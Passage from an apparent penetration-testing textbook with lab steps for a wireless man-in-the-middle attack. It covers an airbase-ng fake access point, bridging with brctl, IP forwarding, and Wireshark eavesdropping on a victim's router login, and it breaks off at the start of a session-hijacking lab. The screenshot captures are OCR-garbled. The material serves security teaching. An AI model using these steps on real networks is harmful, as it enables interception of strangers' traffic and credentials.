 - 3. Disassociation attacks
 - 4. Both 2 and 3
- Q4. What does the Caffe Latte attack require?
 - 1. That the wireless client be in radio range of the access point
 - 2. That the client contains a cached and stored WEP key
 - 3. WEP encryption with at least 128 bit encryption
 - 4. Both 1 and 3

Summary

In this chapter, we learned that even the wireless client is susceptible to attacks. These include the Honeypot and other Mis-Association attacks; Caffe Latte attack to retrieve the key from the wireless client; deauthentication and disassociation attacks causing a Denial of service, Hirte attack as an alternative to retrieve the WEP key from a roaming client; and, finally, cracking the WPA-Personal passphrase with just the client.

In the next chapter, we will use what we've learned so far to conduct various advanced wireless attacks on both the client and infrastructure side. So, quickly flip the page to the next chapter!

Advanced WLAN Attacks

"To know your enemy, you must become your enemy."

Sun Tzu, Art of War

As a penetration tester, it is important to know the advanced attacks a hacker can do, even if you might not check or demonstrate them during a penetration test. This chapter is dedicated to showing how a hacker can conduct advanced attacks using wireless access as the starting point.

In this chapter, we will take a look at how we can conduct advanced attacks using what we have learned so far. We will primarily focus on the **man-in-the-middle attack (MITM)**, which requires a certain amount of skill and practice to conduct successfully. Once we have done this, we will use this MITM attack as a base from which to conduct more sophisticated attacks such as Eavesdropping and session hijacking.

In this chapter, we will cover the following topics:

- MITM attack
- Wireless Eavesdropping using MITM
- Session hijacking using MITM

Advanced WLAN Attacks

A man-in-the-middle attack

MITM attacks are probably one of the most potent attacks on a WLAN system. There are different configurations that can be used to conduct the attack. We will use the most common one—the attacker is connected to the Internet using a wired LAN and is creating a fake access point on his client card. This access point broadcasts an SSID similar to a local hotspot in the vicinity. A user may accidently get connected to this fake access point (or can be forced to via the higher signal strength theory we discussed in the previous chapters) and may continue to believe that he is connected to the legitimate access point.

The attacker can now transparently forward all the user's traffic over the Internet using the bridge he has created between the wired and wireless interfaces.

In the following lab exercise, we will simulate this attack.

Time for action – man-in-the-middle attack

Follow these instructions to get started:

 To create the man-in-the-middle attack setup, we will first create a soft access point called mitm on the hacker laptop using airbase-ng. We run the following command:

airbase-ng --essid mitm -c 11 mon0

The output of the command is as follows:



2. It is important to note that airbase-ng, when run, creates an interface at0 (a tap interface). Think of this as the wired-side interface of our software-based access point mitm:

root@kali	:~# ifconfig at0
at0	Link encap:Ethernet HWaddr 80:1f:02:8f:34:d5
	BROADCAST MULTICAST MTU:1500 Metric:1
	RX packets:0 errors:0 dropped:0 overruns:0 frame:0
	TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
	collisions:0 txgueuelen:500
	RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

- **3.** Let's now create a bridge on the hacker's laptop, consisting of the wired (eth0) and wireless interface (at0). The succession of commands used for this is as follows:
 - brctl addbr mitm-bridge
 - brctl addif mitm-bridge eth0
 - brctl addif mitm-bridge at0
 - □ ifconfig eth0 0.0.0.0 up
 - □ ifconfig at0 0.0.0.0 up



4. We can assign an IP address to this bridge and check the connectivity with the gateway. Please note that we can do this using DHCP as well. We can assign an IP address to the bridge interface with the following command:

```
ifconfig mitm-bridge 192.168.0.199 up
```

We can then try pinging the gateway 192.168.0.1 to ensure that we are connected to the rest of the network.

5. Let's now turn on IP forwarding in the kernel, so that routing and packet forwarding can happen correctly, using the following command:

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

The output of the command is as follows:

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

6. Now let's connect a wireless client to our access point mitm. It will automatically get an IP address over DHCP (the server running on the wired-side gateway). The client machine in this case receives the IP address 192.168.0.197. We can ping the wired-side gateway 192.168.0.1 to verify connectivity:

```
C:\Users\vivek\AppData\Local\msf32>ipconfig
Windows IP Configuration
Wireless LAN adapter Wireless Network Connection:
Connection-specific DNS Suffix .:
Link-local IPv6 Address . . . . : fe80::693d:fad9:1424:c019%11
IPv4 Address . . . . . . . : 192.168.0.197
Subnet Mask . . . . . . . . : 192.168.0.1
```

7. We can see that the host responds to the ping requests, as shown here:

C:\Users\vivek\AppData\Local\msf32>ping 192.168.0.1
Pinging 192.168.0.1 with 32 bytes of data: Reply from 192.168.0.1: bytes=32 time=11ms TTL=64 Reply from 192.168.0.1: bytes=32 time=6ms TTL=64 Reply from 192.168.0.1: bytes=32 time=18ms TTL=64 Reply from 192.168.0.1: bytes=32 time=5ms TTL=64
Ping statistics for 192.168.0.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 5ms, Maximum = 18ms, Average = 10ms

8. We can also verify that the client is connected by looking at the airbase-ng terminal on the hacker's machine:



9. It is interesting to note here that, because all the traffic is being relayed from the wireless interface to the wired-side, we have full control over the traffic. We can verify this by starting Wireshark and sniffing on the at0 interface:

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2	0					at0 - Wireshark
E	e <u>E</u> d	t <u>V</u> iew <u>G</u> o	<u>Capture</u> <u>Analyze</u> <u>Statis</u>	tics Telephony Tools H	lelp	
	N 25	D D	al 🔷 🗖 😵 🚳			
				= \ \ \ \		
Fi	ter:			 Express 	ion Cle	ar Apply
No).	Time	Source	Destination	Protoco	Info
	117	41.173542	192.168.0.197	224.0.0.252	LLMNR	Standard query ANY wpad
	118	41.277900	fe80::693d:fad9:1424:	ff02::1:3	LLMNR	Standard query ANY wpad
	119	41.284136	192.168.0.197	224.0.0.252	LLMNR	Standard query ANY wpad
	120	41.575233	192.168.0.197	192.168.0.1	DNS	Standard query A widgets.alexa.com
	121	42.167219	192.168.0.197	192.168.0.1	DNS	Standard query ANY wpad
	122	43.166721	192.168.0.197	192.168.0.1	DNS	Standard query ANY wpad
	123	46.166812	fe80::693d:fad9:1424:	ff02::1:3	LLMNR	Standard query ANY wpad
	124	46.167704	192.168.0.197	224.0.0.252	LLMNR	Standard query ANY wpad
	125	46.272428	fe80::693d:fad9:1424:	ff02::1:3	LLMNR	Standard query ANY wpad
	126	46.272760	192.168.0.197	224.0.0.252	LLMNR	Standard query ANY wpad
	127	47.166884	192.168.0.197	192.168.0.1	DNS	Standard query ANY wpad
	128	49.169142	IntelCor_35:fc:44	Broadcast	ARP	Who has 192.168.0.1? Tell 192.168.0.197
	129	49.170017	D-Link_d2:8e:25	IntelCor_35:fc:44	ARP	192.168.0.1 is at 00:21:91:d2:8e:25
	130	51.178160	fe80::693d:fad9:1424:	ff02::1:3	LLMNR	Standard query ANY wpad
	131	51.178823	192.168.0.197	224.0.0.252	LLMNR	Standard query ANY wpad
	100	C1 075005	f on			
₽	Frame	1: 60 bytes	on wire (480 bits), 6	0 bytes captured (480	bits)	
₽	Etherr	net II, Src:	Apple_44:99:4d (10:9a	:dd:44:99:4d), Dst: Br	roadcast	(ff:ff:ff:ff:ff:ff)
₽	Addres	ss Resolutio	n Protocol (request)			

10. Let's now ping the gateway 192.168.0.1 from the client machine. We can see the packets in Wireshark (apply a display filter for ICMP), even though the packets are not destined for us. This is the power of man-in-the-middle attacks:

Filter: licmp		· Expre	ssion cl	lear Apph					
Time	Source	Destination	Protoco	Info					1
1.0.000000	IntelCor 35:fc:44	Broadcast	ARD	Who has	102 168 0 1	Tell 102 1	68.0.197		-
2 0.000773	D-Link d2:8e:25	IntelCor 35:fc:44	ARP	192.168	0.1 is at 0	1-21-91-d2-8e	-25		
3 0.005021	192,168,0,197	192,168.0.1	ICMP	Echo (p	ing) request	(id=0x0001.	seg(be/le)=83/2124	18. ttl=128)	
4 0.006577	192,168.0.1	192, 168, 0, 197	10%P	Echo (p	ing) reply	(1d=0x0001.	seq(be/le)=83/2124	(8. ttl:64)	
5 1,001865	192,168,0,197	192,168.0.1	ICMP	Echo (p	ing) request	(id=0x0001.	seg(be/le)=84/2150	04. ttl=128)	
6 1.002774	192, 168, 0, 1	192, 168, 0, 197	ICMP	Echo (p	ing) reply	(id=0x0001.	seq(be/le)=84/2150	14. ttl=64)	
7 2.014760	192, 168, 0, 197	192,168.0.1	ICMP	Echo (p	ing) request	(1d=0x0001.	seg(be/le)=85/2176	50. ttl=128)	
8 2.015576	192,168,0,1	192,168,0,197	ICMP	Echo (p	ing) reply	(id=0x0001.	seg(be/le)=85/2176	30. ttl=64)	
9 3,003574	192, 168, 0, 197	192,168,0,1	ICMP	Echo (p	ing) request	(id=0x0001.	seg(be/le)=86/2201	6, ttl=128)	10
10 3.004503	192.168.0.1	192,168.0,197	ICMP	Echo (p	ing) reply	(id=0x0001,	seq(be/le)=86/2201	6, ttl=64)	
Internet Proto Internet Contr Type: 0 (Ech Code: 0 Chasterne: 0	col, Src: 192.168.0.1 (ol Message Protocol o (ping) reply)	192.168.0.1), Det: 19	2.168.0.1	97 (192.1	68.0.197)				
Internet Prote Internet Contr Type: 0 (Ech Code: 0 Checksum: 0x Identifier: Sequence num Sequence num ♥ Data (32 byt Data: 6165 [Length: 3	cel, Src: 152.168.0.1 (0 Message Protocol 0 (ping) reply) 5508 [correct] 0x0001 ber: 83 (0x0053) ber: (LE): 21248 (0x5300 es) 556465666766666666666666666 2]	192.168.0.1), Det: 19)) e6f707172737475767761.	2.168.0.1	97 (192.1	68.0.197)				
Internst Prote Internst Contr Type: 0 (Ech Code: 0 Checksum: 0 Identifier: Sequence num Sequence num v Data (32 byt Data: 632 byt Data: 63	<pre>cel, Sre: 152.168.0.1 (Message Protocol o (ping) reply) 5508 [correct] 5508 [correct] 5508 [correct] ber: 83 (0x0053) ber: 422 (0x0053) ber: 422 (0x0053) ber: 422 (0x0053) ber: 422 (0x0053) ber: 424 (0x0021) 91 dz 8e 050 00 01 01 55 8c col 55 8c 65 6 6 70 71 </pre>	1922.1660.0.1), Det: 193 19 10 10 10 10 10 10 10 10 10 10		E. E.	68.0.197)				

Advanced WLAN Attacks

What just happened?

We successfully created the setup for a wireless Man-in-the-Middle attack. We did this by creating a fake access point and bridging it with our Ethernet interface. This ensured that any wireless client connecting to the fake access point will perceive that it is connected to the Internet via the wired LAN.

Have a go hero – man-in-the-middle over pure wireless

In the previous exercise, we bridged the wireless interface with a wired one. As we noted earlier, this is one of the possible connection architectures for an MITM. There are other combinations possible as well. An interesting one would be to have two wireless interfaces, one that creates the fake access point and the other interface that is connected to the authorized access point. Both these interfaces are bridged. So, when a wireless client connects to our fake access point, it gets connected to the authorized access point through the attacker's machine.

Please note that this configuration would require the use of two wireless cards on the attacker's laptop.

Check whether you can conduct this attack using the in-built card on your laptop along with the external one—bear in mind, you may not have the injection drives required for this activity. This should be a good challenge!

Wireless Eavesdropping using MITM

In the previous lab, we learned how to create a setup for MITM. Now, we will take a look at how to do Wireless Eavesdropping with this setup.

The whole lab revolves around the principle that all the victim's traffic is now routed through the attacker's computer. Thus, the attacker can eavesdrop on all the traffic sent to and from the victim's machine wirelessly.

Time for action – Wireless Eavesdropping

Follow these instructions to get started:

1. Replicate the entire setup as in the previous lab. Fire up Wireshark. Interestingly, even the MITM-bridge shows up. This interface would allow us to peer into the bridge traffic, if we wanted to:

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2. Start sniffing on the at0 interface so that we can monitor all traffic sent and received by the wireless client:

				Captu	ring from at0 - W	Ireshari	31					
Menu	Edit View G	o <u>C</u> apture <u>Analyze</u> <u>S</u> i	tatistics Telephony Jools	Help					7			
8			$\Theta = \langle O O \rangle$	2 0			- K 🗆] 👹 🛙	9 🤣 🔧	Q		
Filter	n		· Expre	ssion cl	lear Apply							
No.	Time	Source	Destination	Protoco	Info							
	1 0.000000	IntelCor_35:fc:44	Broadcast	ARP	Who has 192.16	8.0.17	Tell 192.1	68.0.197				
	2 0.000840	D-Link_d2:8e:25	IntelCor_35:fc:44	ARP	192.168.0.1 is	at 00:	21:91:d2:8e	:25				
	3 0.004910	192.168.0.197	192.168.0.1	ICMP	Echo (ping) re	quest	(id=0x0001,	seq(be/le)=115/29440,	ttl=120)		
	4 0.005346	192.168.0.1	192.168.0.197	ICMP	Echo (ping) re	ply	(id=0x0001,	seq(be/le	}=115/29440,	ttl=64)		
	6 0.244968	fe80::129a:ddff:fe4	44::ff02::fb	MDNS	Standard guery	respon	se PTR, cac	he flush V	ivek-Ramacha	indrans MacB	ook-Pro.local	AAAA, ca
	7 1.001344	192.168.0.197	192.168.0.1	ICMP	Echo (ping) re	quest	{id=0x0001,	seq(be/le)=116/29696,	ttl=128)		
	8 1.002166	192.168.0.1	192.168.0.197	ICMP	Echo (ping) re	ply	(id=0x0001,	seq(be/le)=116/29696,	ttl=64)		
	9 2.002856	192.168.0.197	192.168.0.1	ICMP	Echo (ping) re	quest	(id=0x0001,	seq(be/le)=117/29952,	ttl=128)		
	10 2.003421	192.168.0.1	192.168.0.197	ICMP	Echo (ping) re	ply	(id=0x0001,	seq(be/le)=117/29952,	ttl=64)		
	11 3.001149	192.168.0.197	192.168.0.1	ICMP	Echo (ping) re	quest	(id=0x0001,	seq(be/le)=118/30208,	ttl=128)		
	12 3.002103	192.168.0.1	192.168.0.197	ICMP	Echo (ping) re	ply	(id=0x0001,	seq(be/le)=118/30208,	ttl=64)		
	12 8.421 194	192.100.0.100	224.0.0.251	MONS	Standard query	PTR A	fpovertcp.	top.local.	TONT QUEST	on PTR and	tep.local.	CHI QUAR
	14 0.421211	readingsaturing	441111021110	nunis	Scandard query	PIR_a	inpover ccp	tep.tocat,	de duesci	ON PIR _SHO	_tep.tocat,	du. dues
Fr	ame 1: 60 byt	es on wire (480 bits)	, 60 bytes captured (4	80 bits)								
Et	thernet II, Sr	c: IntelCor_35:fc:44	(00:22:fb:35:fc:44), D	st: Broad	cast (ff:ff:ff:f	lf:ff:ff)					
Þ Ad	idress Resolut	ion Protocol (request)									
000	44 44 44 44	11 11 00 22 1h 35 1	44 08 06 00 01	* 5.r	1							
010	08 00 06 04	00 01 00 22 fb 35 fe	44 c0 a8 00 c5	5.0	····							- 1
020	00 00 00 00	00 00 c0 a8 00 01 00	0 00 00 00 00 00									
0030	00 00 00 00	00 00 00 00 00 00 00	00 0		n na sea anna an sea anna a Real anna anna anna anna anna anna anna a							
at	t0: < live capture	in progress> File Pack	ets: 14 Displayed: 14 Marke	d: 0						Profi	le: Default	
1.1.1.1.1						_						-

Advanced WLAN Attacks

3. On the wireless client, open up any web page. In my case, the wireless access point is also connected to LAN and I will open it up by using the address http://192.168.0.1:

Authentication	Required	х
The server http://1 password. The serv WR841N.	02.168.1.1:80 requires a username and er says: TP-LINK Wireless N Router	
User Name:		
Password:		
	Log In Cancel	
User Name: Password:	Log In Cancel	

- **4.** Sign in with your password and enter the management interface.
- **5.** In Wireshark, we should be seeing a lot of activity:

e (9)					at0 - Wireshark	
Eile Eo	lit <u>V</u> iew <u>G</u> o	<u>Capture</u> <u>Analyze</u>	Statistics Telephony Joc	ols <u>H</u> elp		
,		🖮 🧇 🖬 X	0 = 301	0 5 0	😟 🗏 🖶 🖷 👫 🗹 👹 M 🤭 🗞 🕻	2
Filter:			· Ex	pression Cle	sar Apply	
vo.	Time	Source	Destination	Protoco	Info	10
129	46.656852	192.168.0.197	192.168.0.1	TCP	49469 > http [ACK] Seq=409 Ack=15955 Win=17520 Len=0	
130	46.657431	192.168.0.1	192.168.0.197	HTTP	HTTP/1.1 200 OK (text/css)	
131	46.657687	192.168.0.197	192.168.0.1	TCP	49472 > http [ACK] Seq=396 Ack=15971 Win=17520 Len=0	
132	46.657960	192.168.0.1	192.168.0.197	HTTP	HTTP/1.1 200 OK (application/x-javascript)	
133	46.741988	192.168.0.197	192.168.0.1	TCP	49469 > http [ACK] Seq=409 Ack=18835 Win=17520 Len=0	
134	46.742823	192.168.0.197	192.168.0.1	TCP	49471 > http [ACK] Seq=394 Ack=15971 Win=17520 Len=0	
135	46.743443	192.168.0.1	192.168.0.197	TCP	[TCP segment of a reassembled PDU]	
136	46.743506	192.168.0.1	192.168.0.197	TCP	(TCP segment of a reassembled PDU)	
137	46.796628	192.168.0.197	192.168.0.1	TCP	49472 > http [ACK] Seq=396 Ack=18851 Win=17520 Len=0	
136	46.797663	192.168.0.197	192.168.0.1	TCP	49471 > http [ACK] Seg=394 Ack=17411 Win=16080 Len=0	
139	46.798436	192.168.0.1	192.168.0.197	TCP	[TCP segment of a reassembled PDU]	
143	46.977065	192.168.0.197	192.168.0.1	TCP	49469 > http [ACK] Seq=409 Ack=19267 Win=17088 Len=0	
146	46.978974	192.168.0.197	192.168.0.1	TCP	49473 > http [ACK] Seg=391 Ack=9010 Win=17520 Len=0	
145	46.979936	192.168.0.197	192.168.0.1	TCP	49472 > http [ACK] Seq=396 Ack=18904 Win=17467 Len=0	
147	47.275742	192.168.0.197	192.168.0.1	TCP	49471 > http [ACK] Seq=394 Ack=23171 Win=17520 Len=0	
148	47.276378	192.168.0.1	192.168.0.197	HTTP	HTTP/1.1 200 OK (application/x-javascript)	
149	47.336726	192.168.0.197	192.168.0.1	HTTP	GET /Images/img wireless bottom.gif HTTP/1.1	
150	47.337865	192.168.0.197	192.168.0.1	HTTP	GET /Images/img_bg_masthead_red.gif HTTP/1.1	
					1-1-1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	
Frame	1: 60 byte	s on wire (480 bits	a), 60 bytes captured	(480 bits)		
> Ether	net II, Src	: IntelCor_35:fc:44	(00:22:fb:35:fc:44),	Dst: Broadc	ast (ff:ff:ff:ff:ff)	
Addre	ss Resoluti	on Protocol (reques	it)			
0000 f	f ff ff ff f	ff ff 00 22 fb 35	fc 44 08 06 00 01	* .5.D	011	10
010 0	8 00 06 04 0	00 01 00 22 fb 35	fc 44 c0 a8 00 c5	* .5.0		1
020 0	0 00 00 00 0	00 00 c0 a8 00 01	00 00 00 00 00 00			
/030 0	0 00 00 00 0	00 00 00 00 00 00				
File: *	tmp/wireshark	20000twhTsxM* 1 Par	kets: 290 Displayed: 290 N	tarked: 0 Dropp	bed: 0	Profile: Default

6. Set a filter for http to see only the web traffic:

Ø			an and an out of		at0 - Wireshark	
ile E	dit ⊻iew <u>G</u> o	<u>Capture</u> Analyze	Statistics Telephony Jool	s <u>H</u> elp		
		🛍 🧇 🗖 🗶	0 - 800	1 4 0		
	n wn wr					
iter:	http		• Exp	ression Cle	lear Apply	
D.	Time	Source	Destination	Protoco	o info	
6	4 46.126455	192.168.0.197	192.168.0.1	HITP	GET /md5.js HTTP/1.1	
6	8 46.147853	192.168.0.1	192.168.0.197	HTTP	Continuation or non-HTTP traffic	
6	9 46.148028	192.168.0.1	192.168.0.197	HITP	Continuation or non-HTTP traffic	
10	7 46.479817	192.168.0.1	192.168.0.197	HTTP	HTTP/1.1 200 OK (application/x-javascript)	
13	0 46.657431	192.168.0.1	192.168.0.197	HITP	HTTP/1.1 200 OK (text/css)	
13	2 46.657960	192.168.0.1	192.168.0.197	HTTP	HTTP/1.1 200 CK (application/x-javascript)	
14	8 47.276378	192.168.0.1	192.168.0.197	HITP	HTTP/1.1 200 CK (application/x-javascript)	
14	9 47.336726	192.168.0.197	192.168.0.1	HTTP	GET /Images/img_wireless_bottom.gif HTTP/1.1	
19	0 47.337865	192.168.0.197	192,168,0.1	нтр	GET /Images/img_bg_masthead_red.gif HTTP/1.1	
15	2 47.338153	192.168.0.1	192.168.0.197	HTP	HTTP/1.1 200 OK (GIP85a)	
15	3 47.338770	192.168.0.197	192.168.0.1	HITP	CC: /Images/Img_mastnead_red.git HitP/1.1	
150	3 47.339313	192.108.0.1	192.108.0.197	HITP	HTTP/1.1 200 CK (01F898)	
194	5 47.760728	192.168.0.1	192.168.0.197	HITP	HTTP/1.1 200 (K (G1PS9a)	
20	6 53,14/888	192,168,0,197	192,168.0.1	HILP	GET /post_togin.xmt/hash=94e/e8t3c4/4c69258308d9ce/6ce02634041/d5 HiTP/1.1	
21	1 53, 149621	192,168,0,1	192,168,0,197	HTTP/XN	MHTTP/1,1 200 OK	
21	4 53, 223481	192,168,0,197	192,168,0,1	HITP	GET /Basic/Internet.shtml HITP/1.1	
22	5 53, 319089	192,168,0,197	192,168,0,1	HITP	GET /navigation.is HTTP/1.1	
23	3 53.358897	192.168.0.1	192.168.0.197	HITP	HTTP/1.1 200 OK (application/x-javascript)	
24	0 53.456314	192.168.0.197	192.168.0.1	HITP	GET /Images/short modnum DIR-615.gif HTTP/1.1	
24	4 53.458362	192.168.0.1	192.168.0.197	нтр	HTTP/1.1 200 CK (GIF89a)	
24	5 53.458365	192.168.0.1	192.168.0.197	HTTP	HTTP/1.1 200 OK (text/html)	
rame	150: 507 b	ovtes on wire (4056	bits). 507 bytes captu	red (4056 b	bits)	
ather	net II, Src	: IntelCor_35:fc:44	(00:22:fb:35:fc:44),	Dst: D-Link	k_d2:8e:25 (00:21:91:d2:8e:25)	
nter	net Protoco	l, Src: 192.168.0.1	97 (192.168.0.197), Ds	t: 192.168.	.0.1 (192.168.0.1)	
rans	smission Con	trol Protocol, Src	Port: 49468 (49468), D	st Port: ht	ttp (80), Seq: 415, Ack: 8439, Len: 453	
yper	rtext Transf	er Protocol				
GE	/Images/im	ng_bg_masthead_red.g	if HTTP/1.1\r\n			
Hos	st: 192.168.	0.1\r\n				
Use	er-Agent: Mo	zilla/5.0 (Windows;	U; Windows NT 6.0; en	-US; rv:1.9	9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729)\r\n	
Act	cept: image/	/png,image/*;q=0.8,*	/*;q=0.5\r\n			
Act	ept-Languag	ge: en-us,en;q=0.5∖r	\n			
Act	cept-Encodin	ng: gzip,deflate\r\n				
Ace	cept-Charset	:: ISO-8859-1,ut1-8;	q=0.7,*;q=0.7\r\n			
Kee	ep-Alive: 11	15/r/n				
Cor	nnection: ke	ep-alive\r\n				
	0 21 91 d2 1	8e 25 00 22 tb 35	rc 44 08 00 45 00 .1		DE.	
0 0	0 01 c1 3c 1	00 50 9e 49 01 fe	5 3f ba 42 50 18	.≤.P.Ie?	. BP.	
10 4	2 5d 5d 7d	00 00 47 45 54 20	2f 49 6d 61 67 65 B]]}GE T /I	Image	
		Louou Amarian 1	kate: 200 Displayed: 20 Mar	kad: 0 Droom	Deally Defect	

7. We can easily locate the HTTP post request that was used to send the password to the wireless access point:

8				at0 - Wireshark	
MenulEdit ⊻iew G	o <u>C</u> apture <u>Analyze</u>	Statistics Telephony Joe	ols Help		
	₩ ~ H ×	0 = 201	0 2 0		
Filter: http		▼ Ex	pression Cl	ear Apply	
Vo. Time	Source	Destination	Protoco	Info	
64 46.126455	192.168.0.197	192.168.0.1	HTTP	GET /md5.js HTTP/1.1	
68 46.147853	192.168.0.1	192.168.0.197	HTTP	Continuation or non-HTTP traffic	
69 46.148028	192.168.0.1	192.168.0.197	HTTP	Continuation or non-HTTP traffic	
107 46,479817	192.168.0.1	192.168.0.197	HITP	HTTP/1.1 200 OK (application/x-javascript)	
130 46.657431	192.168.0.1	192.168.0.197	HTTP	HTTP/1.1 200 OK (text/css)	
132 46,657960	192.168.0.1	192.168.0.197	HITP	HTTP/1.1 200 OK (application/x-javascript)	
148 47,276378	192.168.0.1	192.168.0.197	HTTP	HTTP/1.1 200 OK (application/x-javascript)	
149 47.336726	192.168.0.197	192.168.0.1	HTTP	GET /Images/img_wireless_bottom.gif HTTP/1.1	
150 47.337865	192.168.0.197	192.168.0.1	HTTP	GET /Images/img_bg_masthead_red.gif HTTP/1.1	
152 47.338153	192.168.0.1	192.168.0.197	HTTP	HTTP/1.1 200 OK (GIF89a)	
153 47.338770	192.168.0.197	192.168.0.1	HTTP	GET /Images/img_masthead_red.gif HTTP/1.1	
155 47.339313	192.168.0.1	192.168.0.197	HTTP	HTTP/1.1 200 OK (GIF89a)	
198 47.760728	192.168.0.1	192.168.0.197	HTTP	HTTP/1.1 200 OK (GIF89a)	
208 53.147888	192.168.0.197	192.168.0.1	HITP	GET /post_login.xml?hash=94e7e8f5c474c69258308d9ce76ceb2634b417d5 HTTP/1.1	
211 52 140621	102 168 0 1	102 168 0 107	HTTD / YA	1/TTD/1 1 200 OF	
211 55.149021	192.108.0.1	192.168.0.197	HITPYAP	thip/1.1 200 UK	
					-
Ethernet II, Sr Internet Protoc	c: IntelCor_35:fc:4 ol, Src: 192.168.0.	4 (00:22:fb:35:fc:44), 197 (192.168.0.197), D	Dst: D-Link st: 192.168.	_d2:8e:25 (00:21:91:d2:8e:25) 0.1 (192.168.0.1)	
Transmission Co	ntrol Protocol, Src	Port: 49472 (49472),	Dat Port: ht	tp (80), Seq: 396, Ack: 18904, Len: 448	
' Hypertext Trans	fer Protocol				
♥ GET /post_log	in.xml?hash=94e7e8f	5c474c69258308d9ce76ce	b2634b417d5	HTTP/1.1\r\n	
▶ [Expert Inf.	o (Chat/Sequence):	GET /post_login.xml?ha	sh=94e7e8f5c	474c69258308d9ce76ceb2634b417d5 HTTP/1.1\r\n]	
Request Met	hod: GET				
Request URI	: /post_login.xml?h	ash=94e7e8f5c474c69258	308d9ce76ceb	2634b417d5	
Request Ver	sion: HTTP/1.1				
Host: 192.168	.0.1\r\n				
User-Agent: M	ozilla/5.0 (Windows	; U; Windows NT 6.0; e	n-US; rv:1.9	1.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729)\r\n	
Accept: text/	html,application/xh	tml+xml,application/xm	l;q=0.9,*/*;	q=0.8\r\n	
Accept-Langua	ge: en-us,en;q=0.5\	r\n			
Accept-Encodi	ng: gzip,deflate\r\n	n			
Accept-Charse	t: ISO-8859-1,utf-8	;q=0.7,*;q=0.7\r\n			
Keep-Alive: 1	15\r\n				
Connection: k	eep-alive\r\n				
\r\n					
030 44 3b e9 d0	00 00 47 45 54 20	21 70 61 73 74 51 D	GE T /p	ost_	
x040 6c 6f 67 69		68 61 73 68 3d 39		sh=s	
1050 34 65 37 65	38 66 35 63 34 37	34 63 36 39 32 35 4	174815C 4740	5925 - Dec	
38 33 30 38	04 39 03 03 37 30	03 03 02 32 30 33	sucurie voce	<u>17492</u>	
HTTP Request-URI	(http.request.uri) Pa	ckets: 290 Displayed: 29 Ma	arked: 0 Dropp	ed: 0 Profile: Default	

8. Next is a magnified view of the preceding packet:

♦ Fra	ame 208: 502 bytes on wire (4016 bits), 502 bytes captured (4016 bits)
▶ Etł	nernet II, Src: IntelCor_35:fc:44 (00:22:fb:35:fc:44), Dst: D-Link_d2:8e:25 (00:21:91:d2:8e:25)
P Int	ternet Protocol, Src: 192.168.0.197 (192.168.0.197), Dst: 192.168.0.1 (192.168.0.1)
P Tra	ansmission Control Protocol, Src Port: 49472 (49472), Dst Port: http (80), Seg: 396, Ack: 18904, Len: 448
▼ Hvr	pertext Transfer Protocol
V	GET (nost lonin vml2hash=04e7e8f5c47dc6055308d9ce76ceb263dh417d5 HTTP/1 1\c\n
	Expert Info (chat/Sequence): GET /nost login vml2hash=04e7e8f5c47dc60758308d9ce76ceb263dh417d5 HTTD/1 1\r\n]
	Lappert Mathad (ET
	nequest methods, del
	Neglest Utt: /post_togth.tmt/hash=#46/e8/3C4/4C09256300025670C602554041/03
	Hequest Version: HIIP/1.1
	Host: 192.168.0.1/r/h
	Jser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.15) Gecko/20110303 Firetox/3.6.15 (.NET CLR
1	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
1	Accept-Language: en-us,en;q≕O.5\r\n
1	Accept-Encoding: gzip,deflate\r\n
1	Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
	Keep-Alive: 115\r\n
(Connection: keep-alive\r\n
1	
0030	44 3b e9 d0 00 00 47 45 54 20 2f 70 6f 73 74 Sf D;GE T /post
0040	6c 6f 67 69 6e 2e 78 6d 6c 3f 68 61 73 68 3d 39 login.xm l?hash=9
0050	34 65 37 65 38 66 35 63 34 37 34 63 36 39 32 35 4e7e8f5c 474c6925
0060	38 33 30 38 64 39 63 65 37 36 63 65 62 32 36 33 8308d9ce 76ceb263

9. Expanding on the HTTP header, allows us to see that actually the password we entered in plain text was not sent as is; instead, a hash has been sent. If we take a look at the packet, labeled as number 64 in a screenshot on the previous page, we can see that a request was made for /md5.js, which makes us suspect that it is a md5 hash of the password. It is interesting to note here that this technique may be prone to a replay attack if a cryptographic salt is not used on a per session basis in the creation of the hash. We leave it as an exercise for the user to find out the details, as this is not part of wireless security and hence beyond the scope of this book:

▼ Hypertext Transfer Protocol
GET /post_login.xml?hash=94e7e8f5c474c69258308d9ce76ceb2634b417d5 HTTP/1.1\r\n
▶ [Expert Info (Chat/Sequence): GET /post_login.xml?hash=94e7e8f5c474c69258308d9ce76ceb2634b417d5 HTTP/1.1\r\n]
Request Method: GET
Request URI: /post_login.xml?hash=94e7e8f5c474c69258308d9ce76ceb2634b417d5
Request Version: HTTP/1.1

10. This shows how easy it is to monitor and eavesdrop on traffic sent by the client during a man-in-the-middle attack.

What just happened?

The MITM setup we created now allows us to eavesdrop on the victim's wireless traffic without the victim knowing. This is possible because, in an MITM, all the traffic is relayed via the attacker's machine. Thus, all of the victim's unencrypted traffic is available for eavesdropping for the attacker.

Have a go hero – finding Google searches

In today's world, all of us would like to keep what we search for on Google private. The traffic on Google search is unfortunately over HTTP and plain text by default.

Can you think of an intelligent display filter you could use with Wireshark to view all Google searches made by the victim?

Session hijacking over wireless

One of the other interesting attacks we can build on top of MITM is application session hijacking. During an MITM attack, the victim's packets are sent to the attacker. It is now the attacker's responsibility to relay this to the legitimate destination and relay the responses from the destination to the victim. An interesting thing to note is that, during this process, the attacker can modify the data in the packets (if unencrypted and unprotected from tampering). This means he can modify, mangle, and even silently drop packets.

In this next example, we will take a look at DNS hijacking over wireless using the MITM setup. Then, using DNS hijacking, we will hijack the browser session to https://www.google.com.

Time for action – session hijacking over wireless

1. Set up the test exactly as in the man-in-the-middle attack lab. On the victim, let's fire up the browser and type in https://www.google.com.Let's use Wireshark to monitor this traffic. Your screen should resemble the following:

Time	Source	Destination	Protoco	Info
1 0.000000	IntelCor_35:fc:44	Broadcast	ARP	Who has 192.168.0.1? Tell 192.168.0.197
